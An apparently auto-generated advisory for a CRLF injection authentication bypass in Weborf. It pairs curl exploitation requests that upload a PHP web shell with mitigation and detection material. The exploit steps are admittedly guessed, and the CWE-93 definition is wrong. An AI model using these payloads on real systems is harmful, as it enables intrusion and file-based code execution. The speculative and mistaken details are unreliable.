CVE-2026-142489 — Ltworf Weborf — CWE-93
Weborf before 1.8 contains a CRLF injection vulnerability in auth_check_request() in auth.c that allows unauthenticated remote attackers to bypass the external authentication provider. Attackers can embed percent-encoded CRLF sequences in the request URI to forge the client IP, method, username and password fields, gaining WebDAV write access and potentially remote code execution.
Weborf before 1.8 contains a CRLF injection vulnerability in auth_check_request() in auth.c that allows unauthenticated remote attackers to bypass the external authentication provider. Attackers can embed percent-encoded CRLF sequences in the request URI to forge the client IP, method, username and password fields, gaining WebDAV write access and potentially remote code execution.
🎯 What is this vulnerability?
CVE‑2026‑142489 is a CRLF injection flaw in the auth_check_request() routine of Weborf (all releases prior to 1.8).
The function parses the request URI to extract authentication credentials that are normally supplied by an external authentication provider.
Because the parser does not neutralise percent‑encoded CRLF (%0d%0a) sequences, an attacker can inject additional header lines into the request line itself.
The injected headers are interpreted as the client’s IP, HTTP method, username and password.
Consequently, an unauthenticated attacker can:
1. Forge the authentication fields – bypassing the external auth provider entirely.
2. Gain WebDAV write access – the server treats the forged credentials as valid and allows the attacker to use WebDAV verbs (PROPFIND, PUT, DELETE, etc.).
3. Upload arbitrary files – including web shells or binaries, which can lead to remote code execution (RCE) if the server executes uploaded content or if the attacker can trigger execution through other mechanisms (e.g., CGI, PHP, or a vulnerable plugin).
The flaw is a textbook example of CWE‑93: Improper Neutralization of Special Elements used in an OS Command (in this case, the special element is the CRLF sequence that terminates HTTP headers).
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the vulnerability is exploitable over the network, requires no prior privileges, has no UI requirement, and can compromise confidentiality, integrity, and availability.
⚡ Attack Chain
NOTE: The exact endpoint and parameter names are not disclosed in the CVE description.
The following example demonstrates the class of attack – a crafted request that injects CRLF sequences into the URI.
1. Discovery & Reconnaissance
| Step | Technique | Tool / Command |
|---|---|---|
| Identify Weborf | Banner grabbing or HTTP header inspection | curl -I http://target.example.com → look for Server: Weborf/1.x |
| Version check | Probe /version or /status if available | curl -s http://target.example.com/version |
| Confirm CRLF handling | Send a benign request with %0d%0a and observe server response | curl -v "http://target.example.com/%0d%0a" |
If the server responds with a 200 OK and the request is accepted, the target is likely running Weborf < 1.8 and is vulnerable.
2. Exploitation
The core idea is to embed percent‑encoded CRLF sequences in the request URI to inject forged authentication headers.
Below is a syntactically valid PoC using curl. The example assumes the attacker wants to authenticate as admin with password P@ssw0rd and then upload a PHP web shell.
# 1. Forge authentication headers via CRLF injection
# %0d%0a = CRLF (carriage‑return + line‑feed)
# The injected headers are:
# User: admin
# Password: P@ssw0rd
# After the injection, the request line ends with the normal HTTP method (GET/PUT).
# Step 1 – GET request to trigger auth bypass
curl -v "http://target.example.com/%0d%0aUser:admin%0d%0aPassword:P@ssw0rd" \
-H "Host: target.example.com" \
-H "Connection: close"
# Step 2 – Upload a PHP web shell using WebDAV PUT
curl -v -X PUT "http://target.example.com/%0d%0aUser:admin%0d%0aPassword:P@ssw0rd" \
-H "Host: target.example.com" \
-H "Content-Type: application/octet-stream" \
-d "<?php system($_GET['cmd']); ?>" \
-H "Connection: close"What happens?
1. The first request forces the server to parse the injected headers.
2. The second request uses the same injection to authenticate and then performs a WebDAV PUT to upload a file.
3. If the server executes uploaded PHP files (e.g., if the document root is configured to run PHP), the attacker can run arbitrary commands:
http://target.example.com/webshell.php?cmd=whoami3. Post‑Exploitation
| Goal | Technique | Result |
|---|---|---|
| Establish persistence | Upload a cron job or modify /etc/cron.d/weborf (if writable) | Persistent backdoor |
| Data exfiltration | Use the web shell to read /etc/passwd or other sensitive files | Sensitive data in attacker’s possession |
| Privilege escalation | If the web server runs as root or has set‑uid binaries, the attacker can elevate privileges | Full system compromise |
| Lateral movement | Enumerate network shares via WebDAV, copy credentials, move to other hosts | Expanded foothold |
Because the vulnerability bypasses external authentication, the attacker can also target any other services that rely on the same auth mechanism (e.g., API endpoints, admin panels).
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary file upload and RCE allow reading of any file on the host, including secrets, credentials, and database dumps. |
| Integrity (I:H) | The attacker can modify or delete files, tamper with configuration, or inject malicious code into legitimate applications. |
| Availability (A:H) | The attacker can delete critical files, overwrite configuration, or crash the server by uploading malformed binaries, leading to denial of service. |
| Scope (S:U) | The impact is confined to the affected Weborf instance; however, if the server hosts other services, the attacker can pivot. |
Practical consequences for an organization:
- Immediate loss of control over the web application.
- Potential exposure of customer data, intellectual property, or regulatory‑protected information.
- Risk of the server becoming a launchpad for further attacks (e.g., botnet, ransomware).
- Significant downtime and remediation costs.
- Patch immediately to Weborf 1.8 or later.
- If a patch cannot be applied within 24 hours, deploy the WAF/ModSecurity rule and disable WebDAV until the upgrade.
- Conduct a full audit of all Weborf instances, verify that no CRLF injection attempts have occurred, and check for uploaded files or suspicious changes.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fixed Version | Action |
|---|---|---|
| Weborf < 1.8 | 1.8 or later | Upgrade to the latest release (≥ 1.8). The patch removes the CRLF injection vector by sanitising the request URI before parsing authentication fields. |
If an upgrade is not immediately possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to Implement | Notes | |
|---|---|---|---|
| Block CRLF injection at the edge | Deploy a WAF or ModSecurity rule that rejects requests containing percent‑encoded CRLF in the URI. | Example ModSecurity rule: <br>SecRule REQUEST_URI "@rx (%0d | %0a)" "phase:1,deny,status:400,msg:'CRLF injection attempt'" |
| Disable WebDAV if not needed | Remove or comment out the WebDAV module in the Weborf configuration. | Prevents the attacker from uploading files. | |
| Require authentication for WebDAV | Configure Weborf to enforce authentication for all WebDAV verbs, regardless of external provider. | Even if the external provider is bypassed, the server will still ask for credentials. | |
| Restrict IP ranges | Use firewall rules to allow WebDAV only from trusted IPs. | Limits the attack surface. | |
| Sanitise request URI in code | If you maintain a fork, add a check in auth_check_request() to reject any %0d or %0a sequences before parsing. | Long‑term fix if you cannot upgrade. |
3. Detection
| Indicator | Log Pattern | How to Search | |
|---|---|---|---|
| CRLF injection attempts | GET /%0d%0aUser:admin%0d%0aPassword:P@ssw0rd HTTP/1.1 | grep -i "%0d%0a" /var/log/weborf/access.log | |
| Unexpected header injection | User: admin appearing in request logs outside of normal authentication flow | grep -i "User:" /var/log/weborf/access.log | grep -v "auth" |
| WebDAV file uploads | PUT /webshell.php HTTP/1.1 with Content-Type: application/octet-stream | grep "PUT" /var/log/weborf/access.log | |
| RCE via web shell | GET /webshell.php?cmd= | grep "webshell.php" /var/log/weborf/access.log |
Tip: Enable verbose logging for WebDAV verbs and monitor for any PUT or DELETE requests that are not part of normal operation.
⚠️ Urgency
| Metric | Value | Interpretation |
|---|---|---|
| CVSS v3.1 | 9.8/10 | Critical – requires immediate action. |
| Exploit Complexity | Low | Attack can be performed over the network with no prior access. |
| Privileges Required | None | Unauthenticated attacker. |
| User Interaction | None | No user involvement needed. |
| CISA KEV | No | No public exploit database listing, but the risk is high. |
Recommendation:
Bottom line: CVE‑2026‑142489 is a critical CRLF injection that lets attackers bypass authentication, upload arbitrary files, and potentially execute code on the host. The fastest and most reliable fix is to upgrade to Weborf 1.8 or later. If that is not immediately possible, block CRLF injection at the perimeter and disable WebDAV until a patch is applied.
[🤖 CVE Professor AI Security Engine]
FOFA Query